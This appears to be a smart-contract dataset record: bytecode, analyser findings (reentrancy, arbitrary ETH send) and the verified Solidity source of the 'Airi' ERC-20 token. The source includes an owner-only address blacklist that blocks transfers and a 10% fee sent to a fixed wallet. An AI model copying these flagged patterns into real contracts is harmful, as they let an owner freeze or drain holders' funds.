600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212200c79c2cb0033b3cb07eacbd0a43b28315307b539a13b60e771ddfea7a520aca464736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,040
0x2e184e7d2f89978c4f412ac034f785bf58651fce
/** *Submitted for verification at Etherscan.io on 2022-04-18 */ /** $Airi Tokenomics Total Supply: 1,000,000,000 Maximum Buy: 1% (10,000,000 $Airi) Maximum Wallet: 4% (40,000,000 $Airi) 🌐 Website - https://airianime.com/ 💬 Telegram - https://t.me/AiriAnime */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Airi is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "Airi"; string private constant _symbol = "Airi"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x3C4007001382072c914FC8Cf9819cf1D00519Ef9); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000 * 10**9; _maxWalletSize = 40000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612713565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127dd565b6104b4565b60405161018e9190612838565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612862565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129c5565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a0e565b61060c565b60405161021f9190612838565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a61565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612aaa565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612af1565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b1e565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a61565b6109db565b6040516103199190612862565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612b5a565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612713565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127dd565b610c9a565b6040516103da9190612838565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b1e565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b75565b611328565b60405161046e9190612862565b60405180910390f35b60606040518060400160405280600481526020017f4169726900000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113af565b84846113b7565b6001905092915050565b6000670de0b6b3a7640000905090565b6104ea6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612c01565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b612c21565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090612c7f565b91505061057a565b5050565b6000610619848484611580565b6106da846106256113af565b6106d5856040518060600160405280602881526020016136b660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c119092919063ffffffff16565b6113b7565b600190509392505050565b6106ed6113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612c01565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612c01565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612c01565b60405180910390fd5b6000811161093257600080fd5b610960606461095283670de0b6b3a7640000611c7590919063ffffffff16565b611cef90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113af565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d39565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da5565b9050919050565b610a346113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612c01565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612c01565b60405180910390fd5b670de0b6b3a7640000600f81905550670de0b6b3a7640000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4169726900000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113af565b8484611580565b6001905092915050565b610cc06113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612c01565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a83670de0b6b3a7640000611c7590919063ffffffff16565b611cef90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113af565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e13565b50565b610e136113af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612c01565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612d13565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006113b7565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fee9190612d48565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190612d48565b6040518363ffffffff1660e01b8152600401611096929190612d75565b6020604051808303816000875af11580156110b5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d99190612d48565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611162306109db565b60008061116d610c34565b426040518863ffffffff1660e01b815260040161118f96959493929190612de3565b60606040518083038185885af11580156111ad573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d29190612e59565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550662386f26fc10000600f81905550668e1bc9bf0400006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663